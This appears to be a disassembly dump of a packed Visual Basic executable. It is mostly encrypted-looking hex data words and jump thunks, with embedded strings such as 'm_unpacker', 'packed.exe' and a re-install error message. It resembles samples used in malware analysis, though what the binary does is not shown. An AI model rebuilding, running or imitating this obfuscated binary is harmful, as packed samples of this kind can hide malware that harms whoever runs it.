81000000h, 0C4736AE9h, 0B70F5212h, 81515BC2h dd 0FE5658F6h, 0E9028F19h, 8, 214C18C9h, 0C744F902h, 6604EA83h dd 0CEB3D881h, 0F01EF83h, 3085h, 14E900h, 0F5250000h, 0D63C9573h dd 2DC1A3FCh, 7AE3388Ah, 0C6F00F94h, 3FE9D816h, 22000000h dd 50BE2170h, 0E8C3E951h, 0C0451C26h, 4385DE0Bh, 10E9B7h dd 0E5830000h, 312E3BCBh, 39639BABh, 3DF8DB1h, 6BE9C238h dd 0DCFFFFFFh, 0DD1C1EA7h, 0DD0846FBh, 0D4123B4Fh, 0BC19D31Eh dd 8D8D5425h, 7EF7F8Eh, 8D0FE68Ah, 15h, 10E9h, 0F432AF00h dd 4DB7F7E2h, 226C6FFDh, 24B2D189h, 0D8D89F2h, 907E932h dd 0E90BA58Dh, 0EE907h, 0C2030000h, 0BFB5048h, 0C9A671CBh dd 60B08A95h, 22E585C7h, 5DFC07E9h, 81660000h, 0C7BF84D7h dd 0E922B185h, 7, 39B58B00h, 0E907E916h, 8, 733905BFh dd 4EA61C19h, 2C6DB5FFh, 952307E9h, 7E919DDh, 228595FFh dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 85C53C3h, 0D0826083h, 9589F960h, 7E90E85h dd 0FF006A61h, 0E90C3195h, 0EBC08B07h, 7735C379h, 0E0E00893h dd 58D2708h, 0DCADA1CFh, 0A330454Ch, 96F80455h, 6D1FDDD8h dd 4DFF63A1h, 0B48A3B5h, 55A4DAE6h, 3A98551Fh, 0FADD264h dd 0E08A65F3h, 53A1B12h, 0AA157076h, 454EA24h, 0C6AF0F19h dd 342CD1FBh, 3CFBC3C2h, 5694835Ch, 819D1575h, 43C30A7Fh dd 212C4C95h, 0DC1662E2h, 21FC1C2Fh, 0C0EC192h, 2C355654h dd 468F23D8h, 4F68CB94h, 0B9A04F9Ch, 6DE92471h, 45000001h dd 0DD004113h, 437C8360h, 5F6D5C3Ah, 61706E75h, 72656B63h dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 4 dup(0) ; --------------------------------------------------------------------------- jmp loc_5EDA7B ; --------------------------------------------------------------------------- push 7EF83A8h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF8490h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF85CEh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF869Fh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF86DEh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF877Bh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF87CEh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF8815h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF8F5Fh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF8FE3h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF9072h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF917Dh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF9206h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF92D1h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF935Ch jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF940Dh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF9A0Bh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF9AE0h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EF9B94h jmp loc_58B97E ; --------------------------------------------------------------------------- db 0Bh dd 0B31D90E0h, 0E450DD9Fh, 2B852852h, 58F479FBh, 0BE2EC7B5h dd 80F41979h, 0D25243EDh, 1E5EF123h, 65172597h, 86FBA7C8h dd 286D4306h, 4A8EFC0Eh, 0A944D6A0h, 8A0FD63Ah, 5C9466h dd 36C0EF86h, 28041DD5h, 0E677D8AFh, 75508C43h, 2E931AD3h dd 9D39F187h, 0E36BFD7Fh, 0D7ED31B3h, 50C3961Bh, 1D7C35C7h dd 7537B4ECh, 3CC9D72Fh, 84898CFh, 9EB21A46h, 0B68200DCh dd 73ACFBD7h, 0BC5DE128h, 19F4A51Fh, 3DC18Ch, 0B3E10000h dd 0ECA537A0h, 37B5AAEDh, 7E27FFA5h, 2873AA62h, 0BE86F01Ah dd 0C4800212h, 4DC44336h, 0E0F0451h, 0D7F9A478h, 0F01CC436h dd 0F121AD49h, 0D9119373h, 1AAB1AEAh, 0F0548Ch, 4A6E0000h dd 420ED6A0h, 4571CDAFh, 5D79C5B7h, 0A32BBDBFh, 0BE03EF89h dd 0E496A420h, 0C1757D0Ch, 45D7305Ch, 0FC1EBA3Bh, 6DE5CB4h dd 8816EE7Ch, 98502ACCh, 2BBD2AC5h, 91BF7C92h, 72BEED54h dd 1D43DA74h, 26661B9Fh, 0EE305C6Ch, 7C1121B4h, 0B72A6A27h dd 0B8EA305Ch, 0AC3FCE2Ah, 7037B5A5h, 0F23EBCD4h, 6802940Eh dd 73A57939h, 21099B28h, 0F96E89DCh, 0CD24326Fh, 3A682FC7h dd 1B9B16A0h, 3D2087CEh, 3815D1Fh, 0A0B51193h, 0C28A1CD4h dd 74A04D2Fh, 1B1E9BE1h, 393C3516h, 1888B225h, 49E20000h dd 62A862Fh, 0B95FF974h, 92822EC7h, 1E339D10h, 0E059D75Eh dd 961F5DF0h, 0C469EB3Ah, 38B5C768h, 71FC7E9Ch, 9F1F920Ch dd 71286D41h, 0A74A655Bh, 0ED2029D2h, 5C0AF4B4h, 0F7861C30h dd 7006C90Ch, 89B953FDh, 8FCB1B99h, 0EE7C126Ah, 0A0B3C347h dd 0E939A537h, 0C572326Fh, 0A2305Ch, 71208672h, 37B5AB72h dd 0D9A3B420h, 15E97F05h, 73AB506Ch, 61083428h, 19FA50B0h dd 564BE58Ch, 2873B756h, 0D10CE4BEh, 9Eh, 0D6A04AF1h, 684CA944h dd 2F3165D1h, 0E23AFC3h, 0E7EF966Eh, 61305CB7h, 9A04A9CBh dd 865E1832h, 6A8034FCh, 0F6613408h, 7DAD761h, 2F37B5A5h dd 8AA5F875h, 7F168B1Dh, 372FC7CFh, 0DE73DB6Dh, 3F720C9Eh dd 2087D07Fh, 0CEC6B659h, 27911CD4h, 0FECF6A12h, 0C63C3514h dd 17A0590Eh, 31DA0000h, 0EE02AE47h, 0A1B7E18Ch, 0AAFA56DFh dd 62B8528h, 0C861FF76h, 0BE3745E8h, 0EC810312h, 20CDAF40h dd 991466F4h, 0B7F7AAF4h, 59286D40h, 0DC787D23h, 0E7FD413Bh dd 0F28AAF0Bh, 393BD143h, 0DC780EB4h, 0E2E03C3Eh, 0EE88A216h dd 0CFCFC25Ch, 41305CC4h, 4D5B9763h, 0C4BEFEB3h, 10AF305Ch dd 25B92561h, 574F2B6Bh, 0E57B09D5h, 0F183A90Dh, 990E297Ch dd 9DDB920Fh, 0C9DB37B4h, 0FF81973Fh, 0F686AB27h, 7406942Eh dd 729E7D3Dh, 250D9728h, 9DBC1889h, 65BC2872h, 62B31FE7h dd 9DEBABE6h, 7F252872h, 3E4615E9h, 5BE7639Fh, 0F7AA44B2h dd 28729DB7h, 0DCEF4B59h, 8C1B02E4h, 0D802h, 0BF3FA000h dd 1DAF383Bh, 76E4EA83h, 0EF5B25A9h, 9A8F4203h, 7D2737B5h dd 0F176E899h, 0E80BDCF9h, 0E9B4ED7Fh, 295B31E6h, 0ACE4AA4Dh dd 3ECCD62Eh, 0F64EDCE6h, 0B6346CE8h, 0C19C546Eh, 7A37C156h dd 53444701h, 53D1C1ADh, 0C963F1F3h, 4742423Fh, 0D0D24403h dd 5AF48E18h, 3476727h, 3FFBA944h, 7507719Bh, 423FB9E9h dd 44034742h, 0F642D0D2h, 0D1A349EBh, 0B89F2958h, 0C4FB4BDFh dd 1662h, 68057784h, 0A35228CCh, 109DDF71h, 47EE6CA4h dd 0B93440D5h, 87AA0623h, 0C5DC78F5h, 0ED02AE47h, 0A4B6E293h dd 68325BDAh, 6D407939h, 3619B28h, 0ED6A04Ah, 762BB8BBh dd 305CC536h, 0F1193C27h, 2569F56Bh, 0C65FE97Fh, 505D31C8h dd 0F0F642FEh, 0B4E5CA81h, 3BBAE837h, 0F0BF3F8Fh, 73BF3D54h dd 9224B3BEh, 4B8842FBh, 160F592Fh, 0A6344E96h, 0B2255C4Ah dd 37B57Eh, 0F5CB7AA2h, 0AAF8C82h, 0B3EE78EFh, 0A8A377E8h dd 0D5A8742Eh, 463BCD5Ah, 0A0B5D80Dh, 0ED6903A1h, 0BF0B1B4Fh dd 0F353E19Bh, 3FC963F1h, 18C80BA6h, 0B2E71F3Fh, 917505F2h dd 25A88022h, 8D3A2CB9h, 0F14D2FC2h, 37D45AF3h, 0B44672BEh dd 102A2FCAh, 0FA4AAD06h, 1591C5h, 3646D500h, 83F91DBFh dd 0CEB046F2h, 1F9DF527h, 65173A96h, 0FBD750C8h, 2D8F2656h dd 53FD70F4h, 8731BCBCh, 56A0B75h, 3EA8E899h, 5268286Dh dd 0D6A04A6Ch, 0E1E1305Bh, 2F805C33h, 1552h, 78F58794h dd 0B34238DCh, 0E08DEF01h, 57DE5CB4h, 892450E5h, 97BA1613h dd 0B5EC48E5h, 0FD12BE37h, 0B446F283h, 58422BCAh, 6D3F6929h dd 3391AB28h, 0ED6A04Ah, 9D2FB8BBh, 0B59AF1E4h, 79933B37h dd 554F33FFh, 1C9A09D8h, 0BDF48611h, 2FCC744Ah, 23D23A68h dd 9D22BCB1h, 22B423CEh, 3AB1246Fh, 6CB0F28Bh, 0E73F9E99h dd 750B9965h, 0A92B7BE3h, 5E34F55h, 2D4FE36Bh, 4178D4D1h dd 3C543E0Dh, 0CA8342AEh, 0E4834C7Eh, 8AA02CBEh, 41EB45E8h dd 0A7EDBA37h, 7BCB8FB0h, 14B544h, 5A1A3100h, 0A7D579DBh dd 0F28CA20Eh, 43C1D143h, 89F306B2h, 0C7B374E4h, 9AB4A32h dd 0BF199418h, 0E34DE098h, 0E1862F49h, 3DCCCCC5h, 3644286Dh dd 0C51F9F50h, 0D0EC305Ch, 7D305CB4h, 305CA561h, 5CA4F2CEh dd 16608A30h, 0E1C1C49Bh, 7B6CE033h, 1462h, 68057784h dd 0A35228CCh, 109DDF71h, 47EE6CA4h, 0B93440D5h, 87AA0623h dd 0C5DC78F5h, 0ED02AE47h, 0A4B6E293h, 68325BDAh, 6D3E7939h dd 3619B28h, 0A537A0B3h, 0B5A331ECh, 16A30137h, 3408C045h dd 1BC4FB4Bh, 5F000014h, 8731BCBCh, 0C8640973h, 7FD95426h dd 0AC08A527h, 0EA42F389h, 0ACC86D4Dh, 0FE7E9701h, 4A32C577h dd 91E309ABh, 722F7B1Ch, 286D3D32h, 4AFAA8E2h, 420ED6A0h dd 81CAC9A8h, 6C65255Ch, 0F5AF305Ch, 9A099860h, 21BD3804h dd 0CE490A5h, 11BD39E0h, 31087AFFh, 0ABA0691Dh, 7FBBC915h dd 3156744Ch, 2DF284h, 78D00000h, 0C941C4DCh, 0E324CBBh dd 8342AE3Ch, 305BF927h, 0A4492BC1h, 1F7280DDh, 0F6F04C30h dd 7365255Ch, 0F5AF3000h, 1388823Dh, 4ADC0000h, 700ED6A0h dd 0F23EBCD4h, 11AB3C3Fh, 0B5BA3D60h, 3DCFD537h, 2C24EBA0h dd 62CE1C4Ch, 0BE29C49Fh, 0C693912Ch, 82479586h, 48DDEDD5h dd 99517CC1h, 0F907920Fh, 950F2FCBh, 91EB0D49h, 0F94A651Ch dd 0C202089h, 0C155C76Eh, 0CB6F6BBBh, 99BF27B1h, 0AD851FE7h dd 0B35ABA71h, 0E021AA43h, 605852F6h, 92DBDBD6h, 6F35208Ah dd 79031783h, 0A8D067EFh, 0FCC47D40h, 7A940311h, 21Ch dd 37A0B348h, 0A919ECA5h, 0B9937B5h, 17B9F3Bh, 324AEF77h dd 4B46D0D2h, 2873A84Bh, 8E13DFC5h, 906C0E22h, 7397D5F1h dd 0AB524628h, 136D834Bh, 5D79B133h, 7F32C3B9h, 0A0D16BFCh dd 2FCC74A1h, 5553B3F1h, 99CDB5B8h, 8A38A8E8h, 0A33A6820h dd 2713F801h, 971E5EF3h, 84047D17h, 442089D3h, 6A78C4B6h dd 4B0782Ah, 9D0F8CF1h, 6816960Bh, 0A4FE208Ah, 1B79F911h dd 0E35AF385h, 5E0EB00Ah, 0DF42800h, 208AA98Bh, 13D57498h dd 0BCF77EFEh, 1D9426B1h, 27E39616h, 7914A6FCh, 0D6E46DF1h dd 3468C043h, 6D007298h, 287929C3h, 0B44A58A4h, 61F65E68h dd 7232D31Fh, 0BB18A1ADh, 1E3CE891h, 4FB0CD58h, 6DCEFFC5h dd 0A1A57C3Ch, 780E9418h, 0C5B75BF5h, 0C3B95D79h, 0C564A863h dd 0E08DEF03h, 0D5A4EF86h, 0DE5EDA69h, 0E6FC403Ah, 1B61F450h dd 6414ECDFh, 93529BECh, 70000000h, 43D5A74Ah, 56FBC1AAh dd 935FF5CBh, 99DE735Fh, 1BE53430h, 0AB7B09B6h, 0E90DACD0h dd 50ACC86Dh dd 1F32E652h, 9173D05Dh, 0ED84310Ch, 62h, 38DC78F5h, 28C2F642h dd 5DE8F64Eh, 8B81BDDh, 73092C05h, 8BA115DDh, 0E2423ADFh dd 39F252E0h, 58F236D7h, 7D17971Eh, 5BE68404h, 0DA168C30h dd 31BB17E9h, 285784h, 0B3730000h, 88EC01A0h, 0E982EB4h dd 0B5B28C93h, 0B2E8A37h, 6203E371h, 2873B346h, 0AA77163Ah dd 8C19EE5Ah, 8F94h, 0A0B32E00h, 0ADECA537h, 6537B599h dd 47EBE73Fh, 0F81CB835h, 8924A282h, 8D8CD179h, 71A58D8Bh dd 0F4479FDDh, 0EBA25BF2h, 0BCF5F26Bh, 0A7610874h, 0DA44E993h dd 43A3DD72h, 0EADAE941h, 48C1A2Ch, 46h, 33A4B35Eh, 0C4C8E899h dd 5A48B05Ch, 8B0D04C0h, 5CC49616h, 96247EB0h, 439F065Ah dd 7EB05CC4h, 97178A24h, 79B05CC3h, 0A0E0912Bh, 70B05CC3h dd 0F39AC632h, 24B629C8h, 5CC44D6Dh, 50DDC730h, 7FFh, 57510700h dd 0F1000000h, 8B0DED78h, 4D844508h, 5D1F31E5h, 6D213581h dd 0E6E8135h, 0E94BEA78h, 39A53745h, 99B6BE9h, 3B388D21h dd 0B74E58A4h, 58E99464h, 6E9F6D31h, 6C9F089Dh, 1DBA4BA7h dd 0C5305C00h, 0B759B43h, 800071h, 1290305Ch, 0C613BA26h dd 8431A4FEh, 0BAB78h, 0A6B34A00h, 183FA731h, 0C5019C60h dd 0A89DC872h, 87DB17A5h, 0F31E451Eh, 68113DB9h, 0DC8259ABh dd 54950Dh, 7F090000h, 0B1278202h, 861092A6h, 0B1278B0Bh dd 0D31F85A6h, 31A6B3F1h, 45700DA7h, 41F4AFDh, 0FB90F2Ch dd 954097Eh, 9F602021h, 0F2B0305Ch, 2359FC58h, 84EA9BD7h dd 0DCD9C8D0h, 0C1C1B04Ah, 5386E8D0h, 1FAD2F67h, 0CD0EAFD3h dd 2DA4D3F3h, 2A573h, 0A6B35700h, 0E6248331h, 60D6A04Ah dd 535DB80Ah, 93B930D4h, 51h, 70ED7837h, 0A6334510h, 1F14C921h dd 8C95158Ch, 257F305Ch, 0C680597h, 6C0E2020h, 127B1290h dd 9634FCCBh, 0C5AE0978h, 1E84305Ch, 819EF18Ch, 0F5B21B73h dd 0CA788F3Dh, 64DAA44Ah, 0F3B3EE78h, 0D5305CC4h, 485A3A42h dd 515909E0h, 57h, 36A6B3F1h, 0EC1AD30Dh, 8CEE00A8h, 43196FFEh dd 0C0B4762Ch, 978BC32h, 305CC5AEh, 78BE2CB2h, 678854EEh dd 0C6BBC915h, 305CC4C6h, 2E9C544Eh, 64DAA44Ah, 0F3B3EE78h dd 0D5305CC4h, 0DAE83440h, 346CE8BAh, 9C546EB6h, 0BAF78105h dd 305CC4FAh, 0E09ABE1Ah, 9F24E652h, 1741A1F7h, 35B8BC51h dd 2907719Bh, 260C688Dh, 26AD38D6h, 0BC8BF335h, 9841AD85h dd 1C9EF65Eh, 284AE0D4h, 86A80ECh, 0B43FFF22h, 0E8708B22h dd 6651485h, 0ED27C62Ah, 86F61B4Fh, 0E37A14F0h, 6C47F776h dd 0AE0AE6F0h, 9004F28Ch, 3AC11C7Dh, 571495Fh, 38F684F0h dd 97BA22BCh, 38E10DE5h, 830B6E8Ch, 0E81D8AA8h, 19779725h dd 0A3B5AA8Ch, 8169AEAFh, 0A8740015h, 0A55C871Eh, 0F1282351h dd 0DC1BE839h, 0D2FE46C4h, 2FFC40C2h, 0CBBA38E1h, 7BF913BBh dd 5FC38606h, 86148E49h, 6DA746AAh, 0B21AACC8h, 8815DD9Fh dd 0A90A871Eh, 7F9B7D03h, 8BF507B3h, 7D933BADh, 78386903h dd 98495F64h, 678A2E0Ah, 5F63DBF6h, 0E3495B49h, 408425C9h dd 604CC8AAh, 1F42A8CAh, 34D5F9DEh, 0FC185AF0h, 0D6CE7A90h dd 23A1F054h, 0C533C1C3h, 453C3CD1h, 495F6445h, 0DE71D5CFh dd 0AE3C469Eh, 0BFC25440h, 0B1586DF5h, 73D36123h, 7ACAB247h dd 314BEC68h, 0AD4CE0EDh, 55A92B7Bh, 0D93DB94Fh, 1466F430h dd 0ED7882F0h, 0F1462173h, 2D89618Ah, 78FF6D0Fh, 0C4F3B3EEh dd 0BDD5305Ch, 0B1DDE73Fh, 0BA48CCC5h, 7896347Eh, 46473ADCh dd 0B7A8CFABh, 0CAD824BAh, 0BBFB5233h, 0E1497CDFh, 18B225CCh dd 0EE93138Eh, 277D305Bh, 0B80AF9CBh, 46C4DC78h, 0D3D7D9EAh dd 3617B930h, 0B3000000h, 0BD33A4B3h, 4238DC78h, 4255E0E2h dd 0F8C5D76Dh, 0C8563CFh, 305C14B1h, 0CD892381h, 0F2F04C28h dd 0CA788406h, 48E2A64Ah, 3ECCD62Eh, 51DB7788h, 29h, 33A4B3F1h dd 0AE0978BDh, 0B2305CC5h, 0EE78BE2Ch, 5CC4F3B3h, 0AB871D30h dd 0ED78873Dh, 5156D943h, 0AD09E19Fh, 777DF389h, 0B4769FDBh dd 7DE6305Ch, 0FFFFFCEAh, 6B1125A1h, 439F3D8Fh, 0DC305CC5h dd 832DC057h, 0B533136Dh, 0C526661Bh, 0E617305Ch, 21F42FF4h dd 0E44C563Eh, 5BC8A5E5h, 31D8FC30h, 0F92961F7h, 0EC48E57Bh dd 0E8833248h, 5B1E049h, 2AB884F0h, 473E0694h, 72267680h dd 429F3EC2h, 0C6882B82h, 1ECFCh, 449FC600h, 8305CC5h dd 0FD7554Ch, 0EEAEE375h, 26305CC4h, 7EF9B47Ch, 9EF75FE9h dd 0DDD4D21Eh, 37B5A902h, 2F747530h, 13400141h, 0B244F07Dh dd 0E26A74C8h, 0E6D2324Ch, 0CFD52953h, 31C5F139h, 3BDFFB4Bh dd 0D28FD41h, 7691009Ah, 3C2FCCABh, 0FB78CB66h, 0C8043C33h dd 0CD197h, 76061500h, 0C3B95DFFh, 0E708632h, 5FDD3567h dd 0A5D77AD6h, 3B979008h, 6DCF6616h, 933DB034h, 0C771FC7Ch dd 0C5AA4B35h, 35E8A8D9h, 1228286Dh, 0B3EE78ACh, 305CC4F3h dd 0FAB871Dh, 0FEB393EDh, 8A52E473h, 0C9DF1B65h, 0ACECA53Fh dd 64305CC4h, 0E313F23Eh, 0CD384C43h, 0F61B4FE1h, 962CF086h dd 48EE7600h, 0FB1DBF36h, 0FB11BD81h, 45D0A579h, 0C64938D2h dd 4C2FC61Dh, 4762DB56h, 32023C39h, 0C4D9Dh, 0F282A900h dd 3F3DD143h, 8AF41AB6h, 0DB5949EBh, 215BFE5Ah, 0BF1B1C8Ch dd 0E153E29Ah, 17812CB0h, 5BF57800h, 492EC7B1h, 3664245Dh dd 9EAC286Dh, 0D2A04A28h, 45991B0Ah, 0C54A4A3Fh, 0D8CA305Ch dd 3427FA4Ah, 0ED9809A3h, 0A537B58Fh, 4EE16DFFh, 5DFFC22Eh dd 7D30BDBFh, 0DED365F2h, 30630F21h, 324AEF77h, 0FE881AC6h dd 37BEC056h, 75F72FB7h, 85F719BDh, 7DFF1DB9h, 0D641ECA1h dd 0E8CA4D44h, 5A4827DCh, 203A60DFh, 0EFC01C24h, 0BBEh dd 0CC611338h, 7AECC60h, 74F98395h, 0AB4AC8D8h, 1D90E409h dd 2BCEAA8Fh, 2170DC51h, 91A612A3h, 40EA46EFh, 0CCD6BF36h dd 6D34D5D5h, 5F0D3F28h, 41C4DC78h, 0D0663DD3h, 0C42CC2A3h dd 0C83F3AD0h, 0C2735D21h, 0FEB39321h, 5F52E473h, 37B51150h dd 1B4C019Ch, 0E94D6B41h, 0B5475D01h, 0AF770529h, 0AE206011h dd 0B2F02873h, 6FC9D41Ch, 903CB1CBh, 0D36AFC7Eh, 2F3AD053h dd 0F2FF3B0Bh, 33A0B350h, 9E57899Ah, 0D6CB2457h, 305C0ED6h dd 44D6643Eh, 71F322AAh, 2ADB17ADh, 37B4E58Bh, 5CC5198Bh dd 2872E580h, 0E031D864h, 8C1AC020h, 0AD5Eh, 0A64A6400h dd 0A1AB42D4h, 0B0B274FCh, 5C78B47Ch, 0CBCBC6B8h, 45305C79h dd 5975C95Fh, 5F7BCB49h, 792CC1BBh, 45DF69FEh, 79B6F6ABh dd 725E305Ch, 2713A123h, 0B56B6326h, 20F6B337h, 4639F531h dd 0B112920Fh, 0A0022873h, 0D4A64A12h, 4DE47A08h, 3408F5E4h dd 0B37768E4h, 3700000Ah, 7FD95424h, 0A00CA1DBh, 0D741EC8Eh dd 4B03DBFh, 72EA8BF1h, 4430C5B5h, 96160FA9h, 0E29ABD1Fh dd 294BE153h, 0CAC7E384h, 286D33CAh, 7852304Ah, 5D5D54EEh dd 0B7305CC5h, 0C4FCBCEDh, 8E14305Ch, 6C9079FFh, 0F743C373h dd 0A04D2FC3h, 676Fh, 0A64AB700h, 9F2D4FE2h, 0B040700Dh dd 0C4E4B655h, 0A58DEF00h, 2EB9B409h, 8F0AE59Ch, 0FDA837B5h dd 7E930BB7h, 99C26FEh, 0DA68A05Ah, 8DBDC5Fh, 7B6CE034h dd 0A2Ah, 20CDAF4Ch, 9B1A60F4h, 0C8651739h, 3FB6346Ch dd 71FC789Dh, 0BF523EFBh, 8D8430BDh, 25CA660Fh, 0DC7EDA5Bh dd 306A13A2h, 6D334141h, 0CBB9D328h, 0ED6A04Ah, 937E570h dd 504D42E2h dd 5C1E3C98h, 7C9430CAh, 0B60B8BFEh, 9F05305Ch, 7E921F53h dd 0EAC202DFh, 3D3C8430h, 0A2000002h, 336E143Ah, 305CBE73h dd 0AD71079Dh, 3FE9DB17h, 0D848EBEFh, 0B020107Fh, 7EEB828Fh dd 0B1224FABh, 950C9E2Ch, 37B57462h, 3BCA5250h, 0FBFACB5Ah dd 0EB7DEA05h, 34CB07B6h, 1809D53Ch, 0F6B05C94h, 0F2CAFBBBh dd 0DA37EC2Ch, 0E08DEE00h, 9C60F6ACh, 2FB92EC9h, 47D0F972h dd 5DEFB534h, 94195BF1h, 0C9601238h, 38B4154Ch, 5FC7F874h dd 9B000009h, 0C36D0070h, 74A04D2Fh, 0BB1598E2h, 0E844E96Bh dd 2EBE3745h, 0F084A909h, 42C2D37Dh, 8EEE01B3h, 0D5A7B5E7h dd 366B3758h, 286D3376h, 4A3E6C9Eh, 0B508D4A6h, 0E69B2DBAh dd 384C43AFh, 0F28B1D87h, 6E23FC33h, 286CE72Eh, 0AA29BCE6h dd 36B0780Fh, 63F577AEh, 0DCD8D8C9h, 6A38286Ch, 8091038Eh dd 0C26D20FCh, 0BCEC355h, 8B2FC5DAh, 0CEC78F19h, 1C75A74Eh dd 4F460E98h, 8DC965CDh, 1D640D6Fh, 3F3C390Dh, 8D4B027h dd 5160000h, 0BA5EFA7Bh, 6D832DC0h, 0DE366213h, 0D267D15Ch dd 94950BAAh, 0CA6B1124h, 38B5376Eh, 6C017B9Ch, 0A5482AC0h dd 0EBABE6C0h, 25286D31h, 2120B117h, 305CC559h, 419DDF73h dd 4894E075h, 0FA78923Ah, 5CC50787h, 59B0930h, 8B325239h dd 0E990B46Fh, 788F2660h, 98848D75h, 94875A96h, 0B5386903h dd 0DD37B580h, 539BDAC0h, 0BC4ED74Ch, 733FC5C5h, 0C7554F28h dd 0F587A935h, 2454FB63h, 636ECAD8h, 20BA2DC8h, 0C76DBA71h dd 902A782Fh, 0C2542634h, 387FED2Bh, 7E53C70h, 80159Dh dd 0DB261278h, 8A1D379h, 3C34E3FBh, 23124599h, 47000008h dd 8F29C4B4h, 309C116Bh, 67D15C1Eh, 9400AD2Fh, 0E27AFB81h dd 0B4C05545h, 6869F39h, 522ACD6Fh, 99DB71A3h, 7A377314h dd 286D313Ah, 78C2A0DAh, 0FC403ADCh, 5F7B0AE6h, 19305CC5h dd 0B9EC81F3h, 59F29BEh, 62795D68h, 0A58D9385h, 0B22F2AA4h dd 8A1C8637h, 2E0181F0h, 0E3EA2873h, 8C62B0EEh, 8B06A0ECh dd 28736F0Bh, 21099F05h, 80F81FC7h, 42D571EDh, 10D8EA3Ah dd 61ED93A4h, 0BBFBAECEh, 5528736Eh, 16968F4Fh, 930BBC80h dd 5B000007h, 3C3EDC78h, 5B16E2E0h, 0C4BD4FD8h, 37B5A8E9h dd 0B7356D49h, 8824DD21h, 7C2873A9h, 18E829D0h, 568C19FCh dd 124h, 0DBA54A6Ch, 0D6564F0Bh, 0CAA8420Eh, 5CC4D7D7h dd 0D56B3930h, 0D2AA4D09h, 1E5EF123h, 41CB8C6h, 61F7AA86h dd 0CD255CEEh, 1D305CC5h, 247B1380h, 0E44C43C2h, 255AAAF8h dd 0D2D2CF59h, 42305CA6h, 0C5648860h, 0E18CEC03h, 4133D985h dd 0AF0BE7FDh, 922CF088h, 9F5B25CAh, 5CA5DAEEh, 27C9230h dd 0CC849622h, 66BE4C2Eh, 30C26B95h, 0E420C9CFh, 0D1842953h dd 473ACC43h, 305CA63Fh, 0AC39D3D1h, 4629C3ECh, 0E508CCB7h dd 4B075B97h, 0F95BDA5Ah, 0FCD824A8h, 0AFC01C5Eh, 0CDC400A9h dd 1B0AA64Fh, 933B4599h, 0B8C7FA7Fh, 0A2D78D4h, 0DE1AA874h dd 0F5871003h, 0B4D281BCh, 59F3B137h, 0E05E57CCh, 0FE5EB154h dd 0C6CB2759h, 6D8F3B6Ah, 0ECA17D13h, 4A47D144h, 28735C46h dd 0F9C9D3CEh, 4FA8CFCCh, 683265B9h, 52E3A3DEh, 772D2873h dd 822195E6h, 6CC414CEh, 76AF5900h, 0C4DD7FF6h, 2DC32847h dd 1BA93C6Bh, 4FCDC581h, 7FFA4FE3h, 98235EE8h, 0FE2FCBD1h dd 76AF09A4h, 3ADD7FF6h, 0AB33B342h, 8E3CF484h, 0A537A0B3h dd 0B5B9C9ECh, 8B5B4937h, 5C552BCFh, 2873BA5Ch, 0A411E9B4h dd 0C09C5624h, 730A9C32h, 423F0659h, 2872E542h, 6E45D0D2h dd 0A934FC04h, 5A4B319h, 0E064BDF1h, 8160BC52h, 305CC525h dd 459637DBh, 8430E07Bh, 47FBh, 0DC78CF00h, 0E1E34339h dd 0C589AD09h, 0E9FB4B31h, 9A1A8B5Bh, 0E9305CC4h, 6E8246E7h dd 39977D08h, 2FDE2B82h, 5BC93A7Ah, 3AC8DA30h, 0A40CCCBBh dd 0E07A305Bh, 5AAAD064h, 0C3C3BE48h, 4D305BA2h, 9E249B57h dd 7EFFFFFFh, 60D6A04Ah, 0A4B39032h, 2763BD33h, 30D4535Dh dd 3193B9h, 0B3370000h, 78BD33A4h, 9ED266EEh, 0A022027Ch dd 78B03212h, 5CC50989h, 2B990B30h, 0A64ACA78h, 0FF7766D4h dd 1BB80E66h, 7EBA0268h, 27514Ch, 0B3F10000h, 78BD33A4h dd 0FD413BDCh, 0E49D0BE7h, 305CC4A4h, 2AB2445Ah, 0FBD7507h dd 0A64ACA78h, 0FF7766D4h, 7EBAC257h, 6ED784Ch, 4BFE1386h dd 93138E18h, 7D305CB4h, 49EFCB27h, 0F98FED01h, 0B53C7C25h dd 51C305Ch, 3E361B1h, 0A713F381h, 18C4E891h, 277C1DC9h dd 0EC004D91h, 5272AD4Dh, 92834BABh, 14B03212h, 1BBF7B01h dd 9BEA8BF5h, 305C95C6h, 0F4062D96h, 0F551FFFFh, 0EDDF1B61h dd 59D4A64Ah, 0EA7CEB06h, 0B5A894B7h, 96208237h, 9D55D7CEh dd 7D9F4741h, 7A563703h, 6E2873A9h, 269E3BE2h, 408C19F8h dd 7, 15162h, 78F10000h, 0E03C3EDCh, 0AB3943D4h, 1087924Fh dd 0B0800B86h, 0C9637B5h, 0A708430h, 0DC62FB6Bh, 6AF7D1BFh dd 6014399Dh, 5B2A069Ch, 2872D50Dh, 42D4A44Bh, 34088A9Ah dd 0EF7F42AEh, 5AAAD267h, 712ABD48h, 6986A72Fh, 4C021581h dd 770DD1ABh, 69C41DE1h, 14D07993h, 6AF47903h, 0EC30B2E2h dd 9CBE1AD6h, 0FB9214E2h, 0E788499Dh, 9703EF1Fh, 0B93DFB85h dd 0DA70B455h, 0B4460E98h, 80687ACAh, 635D1E54h, 8384B0D4h dd 10Eh, 32A5B327h, 0AE0978BCh, 0B2305CC5h, 91009A2Ch 